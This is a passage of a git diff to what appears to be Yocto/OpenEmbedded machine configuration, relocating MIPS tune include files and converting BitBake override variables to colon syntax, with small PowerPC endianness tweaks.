+++ b/meta/conf/machine/include/mips/tune-mips-24k.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "mips32r2-24kc"
MIPSPKGSFX_MIPS16E ??= ""
-require conf/machine/include/tune-mips32r2.inc
+require conf/machine/include/mips/tune-mips32r2.inc
require conf/machine/include/mips/feature-mips-mips16e.inc
@@ -16,36 +16,36 @@ AVAILTUNES += "mips32r2-24kc mips32r2-24kec mips32r2-24kec-m16"
AVAILTUNES += "mips32r2el-24kc mips32r2el-24kec mips32r2el-24kec-m16"
# big endian: kc, kc+dsp=kec, kc+dsp+mips16e=kec-m16
-TUNE_FEATURES_tune-mips32r2-24kc = "${TUNE_FEATURES_tune-mips32r2-nf} 24kc"
-TUNE_FEATURES_tune-mips32r2-24kec = "${TUNE_FEATURES_tune-mips32r2-nf} 24kec"
-TUNE_FEATURES_tune-mips32r2-24kec-m16 = "${TUNE_FEATURES_tune-mips32r2-24kec} mips16e"
+TUNE_FEATURES:tune-mips32r2-24kc = "${TUNE_FEATURES:tune-mips32r2-nf} 24kc"
+TUNE_FEATURES:tune-mips32r2-24kec = "${TUNE_FEATURES:tune-mips32r2-nf} 24kec"
+TUNE_FEATURES:tune-mips32r2-24kec-m16 = "${TUNE_FEATURES:tune-mips32r2-24kec} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kc = "mips32r2-24kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf} mips32r2-24kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kc = "mips32r2-24kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf} mips32r2-24kc-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kec = "mips32r2-24kec"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kc} mips32r2-24kec-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kec = "mips32r2-24kec"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kc} mips32r2-24kec-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kec-nf = " -cpu 24KEc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-24kec-m16 = "mips32r2-24kec${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-24kec} mips32r2-24kec-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-24kec-m16 = "mips32r2-24kec${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-24kec} mips32r2-24kec-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2-24kec-m16-nf = " -cpu 24KEc"
# little endian: kc, kc+dsp=kec, kc+dsp+mips16e=kec-m16
-TUNE_FEATURES_tune-mips32r2el-24kc = "${TUNE_FEATURES_tune-mips32r2el-nf} 24kc"
-TUNE_FEATURES_tune-mips32r2el-24kec = "${TUNE_FEATURES_tune-mips32r2el-nf} 24kec"
-TUNE_FEATURES_tune-mips32r2el-24kec-m16 = "${TUNE_FEATURES_tune-mips32r2el-24kec} mips16e"
+TUNE_FEATURES:tune-mips32r2el-24kc = "${TUNE_FEATURES:tune-mips32r2el-nf} 24kc"
+TUNE_FEATURES:tune-mips32r2el-24kec = "${TUNE_FEATURES:tune-mips32r2el-nf} 24kec"
+TUNE_FEATURES:tune-mips32r2el-24kec-m16 = "${TUNE_FEATURES:tune-mips32r2el-24kec} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kc = "mips32r2el-24kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf} mips32r2el-24kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kc = "mips32r2el-24kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf} mips32r2el-24kc-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kec = "mips32r2el-24kec"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kc} mips32r2el-24kec-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kec = "mips32r2el-24kec"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kc} mips32r2el-24kec-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kec-nf = " -cpu 24KEc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-24kec-m16 = "mips32r2el-24kec${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-24kec} mips32r2el-24kec-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-24kec-m16 = "mips32r2el-24kec${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-24kec} mips32r2el-24kec-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2el-24kec-m16-nf = " -cpu 24KEc"
diff --git a/meta/conf/machine/include/mips/tune-mips-74k.inc b/meta/conf/machine/include/mips/tune-mips-74k.inc
index 94afee34bd..e4927a1ce0 100644
--- a/meta/conf/machine/include/mips/tune-mips-74k.inc
+++ b/meta/conf/machine/include/mips/tune-mips-74k.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "mips32r2-74kc"
MIPSPKGSFX_MIPS16E ??= ""
-require conf/machine/include/tune-mips32r2.inc
+require conf/machine/include/mips/tune-mips32r2.inc
require conf/machine/include/mips/feature-mips-mips16e.inc
@@ -13,25 +13,25 @@ AVAILTUNES += "mips32r2-74kc mips32r2-74kc-m16"
AVAILTUNES += "mips32r2el-74kc mips32r2el-74kc-m16"
# big endian: kc+dsp2=kc, kc+dsp2+mips16e=kc-m16
-TUNE_FEATURES_tune-mips32r2-74kc = "${TUNE_FEATURES_tune-mips32r2-nf} 74kc"
-TUNE_FEATURES_tune-mips32r2-74kc-m16 = "${TUNE_FEATURES_tune-mips32r2-74kc} mips16e"
+TUNE_FEATURES:tune-mips32r2-74kc = "${TUNE_FEATURES:tune-mips32r2-nf} 74kc"
+TUNE_FEATURES:tune-mips32r2-74kc-m16 = "${TUNE_FEATURES:tune-mips32r2-74kc} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2-74kc = "mips32r2-74kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf} mips32r2-74kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-74kc = "mips32r2-74kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf} mips32r2-74kc-nf"
QEMU_EXTRAOPTIONS_mips32r2-74kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2-74kc-m16 = "mips32r2-74kc${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2-74kc} mips32r2-74kc-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2-74kc-m16 = "mips32r2-74kc${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2-74kc} mips32r2-74kc-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2-74kc-m16-nf = " -cpu 24KEc"
# little endian: kc+dsp2=kc, kc+dsp2+mips16e=kc-m16
-TUNE_FEATURES_tune-mips32r2el-74kc = "${TUNE_FEATURES_tune-mips32r2el-nf} 74kc"
-TUNE_FEATURES_tune-mips32r2el-74kc-m16 = "${TUNE_FEATURES_tune-mips32r2el-74kc} mips16e"
+TUNE_FEATURES:tune-mips32r2el-74kc = "${TUNE_FEATURES:tune-mips32r2el-nf} 74kc"
+TUNE_FEATURES:tune-mips32r2el-74kc-m16 = "${TUNE_FEATURES:tune-mips32r2el-74kc} mips16e"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-74kc = "mips32r2el-74kc"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf} mips32r2el-74kc-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-74kc = "mips32r2el-74kc"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf} mips32r2el-74kc-nf"
QEMU_EXTRAOPTIONS_mips32r2el-74kc-nf = " -cpu 24Kc"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-74kc-m16 = "mips32r2el-74kc${MIPSPKGSFX_MIPS16E}"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc-m16 = "${PACKAGE_EXTRA_ARCHS_tune-mips32r2el-74kc} mips32r2el-74kc-m16-nf"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-74kc-m16 = "mips32r2el-74kc${MIPSPKGSFX_MIPS16E}"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc-m16 = "${PACKAGE_EXTRA_ARCHS:tune-mips32r2el-74kc} mips32r2el-74kc-m16-nf"
QEMU_EXTRAOPTIONS_mips32r2el-74kc-m16-nf = " -cpu 24KEc"
diff --git a/meta/conf/machine/include/mips/tune-mips32.inc b/meta/conf/machine/include/mips/tune-mips32.inc
new file mode 100644
index 0000000000..820087f59d
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mips32"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mips32] = "Enable mips32 specific processor optimizations"
+TUNECONFLICTS[mips32] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32', ' -march=mips32', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mips32 mips32el"
+
+TUNE_FEATURES:tune-mips32 = "${TUNE_FEATURES:tune-mips} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32 = "mips32"
+PACKAGE_EXTRA_ARCHS:tune-mips32 = "mips mips32"
+
+TUNE_FEATURES:tune-mips32el = "${TUNE_FEATURES:tune-mipsel} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32el = "mips32el"
+PACKAGE_EXTRA_ARCHS:tune-mips32el = "mipsel mips32el"
+
+# Soft Float
+AVAILTUNES += "mips32-nf mips32el-nf"
+
+TUNE_FEATURES:tune-mips32-nf = "${TUNE_FEATURES:tune-mips-nf} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32-nf = "mips32"
+PACKAGE_EXTRA_ARCHS:tune-mips32-nf = "mips-nf mips32-nf"
+
+TUNE_FEATURES:tune-mips32el-nf = "${TUNE_FEATURES:tune-mipsel-nf} mips32"
+MIPSPKGSFX_VARIANT:tune-mips32el-nf = "mips32el"
+PACKAGE_EXTRA_ARCHS:tune-mips32el-nf = "mipsel-nf mips32el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips32r2.inc b/meta/conf/machine/include/mips/tune-mips32r2.inc
new file mode 100644
index 0000000000..c868e925e9
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32r2.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mips32r2"
+
+require conf/machine/include/mips/tune-mips32.inc
+
+TUNEVALID[mips32r2] = "Enable mips32r2 specific processor optimizations"
+TUNECONFLICTS[mips32r2] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', ' -march=mips32r2', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mips32r2 mips32r2el"
+
+TUNE_FEATURES:tune-mips32r2 = "${TUNE_FEATURES:tune-mips} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2 = "mips32r2"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2 = "mips mips32 mips32r2"
+
+TUNE_FEATURES:tune-mips32r2el = "${TUNE_FEATURES:tune-mipsel} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2el = "mips32r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el = "mipsel mips32el mips32r2el"
+
+# Soft Float
+AVAILTUNES += "mips32r2-nf mips32r2el-nf"
+
+TUNE_FEATURES:tune-mips32r2-nf = "${TUNE_FEATURES:tune-mips-nf} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2-nf = "mips32r2"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2-nf = "mips-nf mips32-nf mips32r2-nf"
+
+TUNE_FEATURES:tune-mips32r2el-nf = "${TUNE_FEATURES:tune-mipsel-nf} mips32r2"
+MIPSPKGSFX_VARIANT:tune-mips32r2el-nf = "mips32r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips32r2el-nf = "mipsel-nf mips32el-nf mips32r2el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips32r6.inc b/meta/conf/machine/include/mips/tune-mips32r6.inc
new file mode 100644
index 0000000000..9904cc0b11
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips32r6.inc
@@ -0,0 +1,29 @@
+DEFAULTTUNE ?= "mipsisa32r6el"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mipsisa32r6] = "Enable mipsisa32r6 specific processor optimizations"
+TUNECONFLICTS[mipsisa32r6] = "n64 n32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', ' -march=mips32r6', '', d)}"
+
+# Base Tunes (Hard Float)
+AVAILTUNES += "mipsisa32r6 mipsisa32r6el"
+
+TUNE_FEATURES:tune-mipsisa32r6 = "o32 bigendian mipsisa32r6 fpu-hard r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6 = "mipsisa32r6"
+
+TUNE_FEATURES:tune-mipsisa32r6el = "o32 fpu-hard mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6el = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6el = "mipsisa32r6el"
+
+# Soft Float
+AVAILTUNES += "mipsisa32r6-nf mipsisa32r6el-nf"
+
+TUNE_FEATURES:tune-mipsisa32r6-nf = "o32 bigendian mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6-nf = "mipsisa32r6-nf"
+
+TUNE_FEATURES:tune-mipsisa32r6el-nf = "o32 mipsisa32r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa32r6el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa32r6el-nf = "mipsisa32r6el-nf"
diff --git a/meta/conf/machine/include/mips/tune-mips64.inc b/meta/conf/machine/include/mips/tune-mips64.inc
new file mode 100644
index 0000000000..a9080159fc
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64.inc
@@ -0,0 +1,3 @@
+DEFAULTTUNE ?= "mips64"
+
+require conf/machine/include/mips/tune-mips32r2.inc
diff --git a/meta/conf/machine/include/mips/tune-mips64r2.inc b/meta/conf/machine/include/mips/tune-mips64r2.inc
new file mode 100644
index 0000000000..c644f40918
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64r2.inc
@@ -0,0 +1,84 @@
+DEFAULTTUNE ?= "mips64r2"
+
+require conf/machine/include/mips/tune-mips64.inc
+
+TUNEVALID[mips64r2] = "Enable mips64r2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips64r2', ' -march=mips64r2', '', d)}"
+
+# Base tunes
+AVAILTUNES += "mips64r2 mips64r2el"
+
+TUNE_FEATURES:tune-mips64r2 = "${TUNE_FEATURES:tune-mips64} mips64r2"
+BASE_LIB:tune-mips64r2 = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2 = "mips64r2"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2 = "mips64 mips64r2"
+
+TUNE_FEATURES:tune-mips64r2el = "${TUNE_FEATURES:tune-mips64el} mips64r2"
+BASE_LIB:tune-mips64r2el = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2el = "mips64r2el"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el = "mips64el mips64r2el"
+
+# MIPS 64r2 Soft Float
+AVAILTUNES += "mips64r2-nf mips64r2el-nf"
+
+TUNE_FEATURES:tune-mips64r2-nf = "${TUNE_FEATURES:tune-mips64-nf} mips64r2"
+BASE_LIB:tune-mips64r2-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf = "mips64-nf mips64r2-nf"
+
+TUNE_FEATURES:tune-mips64r2el-nf = "${TUNE_FEATURES:tune-mips64el-nf} mips64r2"
+BASE_LIB:tune-mips64r2el-nf = "lib64"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf = "mips64el-nf mips64r2el-nf"
+
+# MIPS 64r2 n32
+AVAILTUNES += "mips64r2-n32 mips64r2el-n32"
+
+TUNE_FEATURES:tune-mips64r2-n32 = "${TUNE_FEATURES:tune-mips64-n32} mips64r2"
+BASE_LIB:tune-mips64r2-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-n32 = "mips64-n32 mips64r2-n32"
+
+TUNE_FEATURES:tune-mips64r2el-n32 = "${TUNE_FEATURES:tune-mips64el-n32} mips64r2"
+BASE_LIB:tune-mips64r2el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-n32 = "mips64el-n32 mips64r2el-n32"
+
+# MIPS 64r2 n32 and Soft Float
+AVAILTUNES += "mips64r2-nf-n32 mips64r2el-nf-n32"
+
+TUNE_FEATURES:tune-mips64r2-nf-n32 = "${TUNE_FEATURES:tune-mips64-nf-n32} mips64r2"
+BASE_LIB:tune-mips64r2-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf-n32 = "mips64-nf-n32 mips64r2-nf-n32"
+
+TUNE_FEATURES:tune-mips64r2el-nf-n32 = "${TUNE_FEATURES:tune-mips64el-nf-n32} mips64r2"
+BASE_LIB:tune-mips64r2el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf-n32 = "mips64el-nf-n32 mips64r2el-nf-n32"
+
+# MIPS 64r2 o32
+AVAILTUNES += "mips64r2-o32 mips64r2el-o32"
+
+TUNE_FEATURES:tune-mips64r2-o32 = "${TUNE_FEATURES:tune-mips64-o32} mips64r2"
+BASE_LIB:tune-mips64r2-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-o32 = "mips mips64-o32 mips64r2-o32"
+
+TUNE_FEATURES:tune-mips64r2el-o32 = "${TUNE_FEATURES:tune-mips64el-o32} mips64r2"
+BASE_LIB:tune-mips64r2el-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-o32 = "mipsel mips64el-o32 mips64r2el-o32"
+
+# MIPS 64r2 o32 and Soft Float
+AVAILTUNES += "mips64r2-nf-o32 mips64r2el-nf-o32"
+
+TUNE_FEATURES:tune-mips64r2-nf-o32 = "${TUNE_FEATURES:tune-mips64-nf-o32} mips64r2"
+BASE_LIB:tune-mips64r2-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf-o32 = "mips-nf mips64r2-nf-o32"
+
+TUNE_FEATURES:tune-mips64r2el-nf-o32 = "${TUNE_FEATURES:tune-mips64el-nf-o32} mips64r2"
+BASE_LIB:tune-mips64r2el-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf-o32 = "mipsel-nf mips64r2el-nf-o32"
diff --git a/meta/conf/machine/include/mips/tune-mips64r6.inc b/meta/conf/machine/include/mips/tune-mips64r6.inc
new file mode 100644
index 0000000000..b4a7e9ef1b
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64r6.inc
@@ -0,0 +1,58 @@
+DEFAULTTUNE ?= "mipsisa64r6el"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mipsisa64r6] = "Enable mipsisa64r6 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', ' -march=mips64r6', '', d)}"
+
+# Base Tunes
+AVAILTUNES += "mipsisa64r6 mipsisa64r6el"
+
+TUNE_FEATURES:tune-mipsisa64r6 = "bigendian fpu-hard n64 mipsisa64r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6 = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6 = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6 = "mipsisa64r6"
+
+TUNE_FEATURES:tune-mipsisa64r6el = "fpu-hard r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6el = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el = "mipsisa64r6el"
+
+# Soft Float
+AVAILTUNES += "mipsisa64r6-nf mipsisa64r6el-nf"
+
+TUNE_FEATURES:tune-mipsisa64r6-nf = "bigendian r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-nf = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6-nf = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-nf = "mipsisa64r6-nf"
+
+TUNE_FEATURES:tune-mipsisa64r6el-nf = "r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-nf = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6el-nf = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-nf = "mipsisa64r6el-nf"
+
+# MIPS 64r6 n32
+AVAILTUNES += "mipsisa64r6-n32 mipsisa64r6el-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6-n32 = "bigendian fpu-hard r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-n32 = "mipsisa64r6-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6el-n32 = "fpu-hard r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-n32 = "mipsisa64r6el-n32"
+
+# MIPS 64r6 n32 and Soft Float
+AVAILTUNES += "mipsisa64r6-nf-n32 mipsisa64r6el-nf-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6-nf-n32 = "bigendian r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-nf-n32 = "mipsisa64r6-nf-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6el-nf-n32 = "r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-nf-n32 = "mipsisa64r6el-nf-n32"
diff --git a/meta/conf/machine/include/mips/tune-octeon.inc b/meta/conf/machine/include/mips/tune-octeon.inc
new file mode 100644
index 0000000000..d4670e3259
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-octeon.inc
@@ -0,0 +1,32 @@
+DEFAULTTUNE ?="octeon2"
+
+require conf/machine/include/mips/tune-mips64.inc
+
+AVAILTUNES += "octeon2 octeon2_64 octeon3 octeon3_64"
+
+TUNEVALID[octeon2] = "Enable optimization related to octeon2 support"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon2', ' -march=octeon2 ', '',d)}"
+
+TUNE_FEATURES:tune-octeon2 = "${TUNE_FEATURES:tune-mips64-n32} octeon2"
+BASE_LIB:tune-octeon2 = "lib32"
+MIPSPKGSFX_VARIANT:tune-octeon2 = "octeon2"
+PACKAGE_EXTRA_ARCHS:tune-octeon2 = "mips64-n32 octeon2-n32"
+
+TUNE_FEATURES:tune-octeon2_64 = "${TUNE_FEATURES:tune-mips64} octeon2"
+BASE_LIB:tune-octeon2_64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-octeon2_64 = "octeon2_64"
+PACKAGE_EXTRA_ARCHS:tune-octeon2_64 = "mips64 octeon2_64"
+
+
+TUNEVALID[octeon3] = "Enable optimization related to octeon3 support"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon3', ' -march=octeon3 ', '',d)}"
+
+TUNE_FEATURES:tune-octeon3 = "${TUNE_FEATURES:tune-mips64-n32} octeon3"
+BASE_LIB:tune-octeon3 = "lib32"
+MIPSPKGSFX_VARIANT:tune-octeon3 = "octeon3"
+PACKAGE_EXTRA_ARCHS:tune-octeon3 = "mips64-n32 octeon3-n32"
+
+TUNE_FEATURES:tune-octeon3_64 = "${TUNE_FEATURES:tune-mips64} octeon3"
+BASE_LIB:tune-octeon3_64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-octeon3_64 = "octeon3_64"
+PACKAGE_EXTRA_ARCHS:tune-octeon3_64 = "mips64 octeon3_64"
diff --git a/meta/conf/machine/include/powerpc/README b/meta/conf/machine/include/powerpc/README
index e87fb5082c..e813d21818 100644
--- a/meta/conf/machine/include/powerpc/README
+++ b/meta/conf/machine/include/powerpc/README
@@ -12,6 +12,6 @@ May of the PowerPC package archictures are based on legacy Linux names.
However, a general naming scheme should be similar to: ppc[64][<family>][-nf].
(Note: the default package architectures are "powerpc" and "powerpc64".)
-TUNE_PKGARCH is defined as TUNE_PKGARCH_tune-${DEFAULTTUNE}. All
-PowerPC tunings are required to define TUNE_PKGARCH_tune-<tune>.
+TUNE_PKGARCH is defined as TUNE_PKGARCH:tune-${DEFAULTTUNE}. All
+PowerPC tunings are required to define TUNE_PKGARCH:tune-<tune>.
diff --git a/meta/conf/machine/include/powerpc/arch-powerpc.inc b/meta/conf/machine/include/powerpc/arch-powerpc.inc
index 8c0c943044..be687e2df7 100644
--- a/meta/conf/machine/include/powerpc/arch-powerpc.inc
+++ b/meta/conf/machine/include/powerpc/arch-powerpc.inc
@@ -5,7 +5,7 @@
DEFAULTTUNE ?= "powerpc"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
ABIEXTENSION ?= ""
# Endian
@@ -15,7 +15,8 @@ TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "bigendian", " -mbig-endia
TUNEVALID[m32] = "Power ELF32 standard ABI"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', ' -m32', '', d)}"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', 'powerpc', '', d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', 'powerpc${ENDIAN_SFX}', '', d)}"
+ENDIAN_SFX = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'le', d)}"
TUNEVALID[fpu-hard] = "Use hardware FPU."
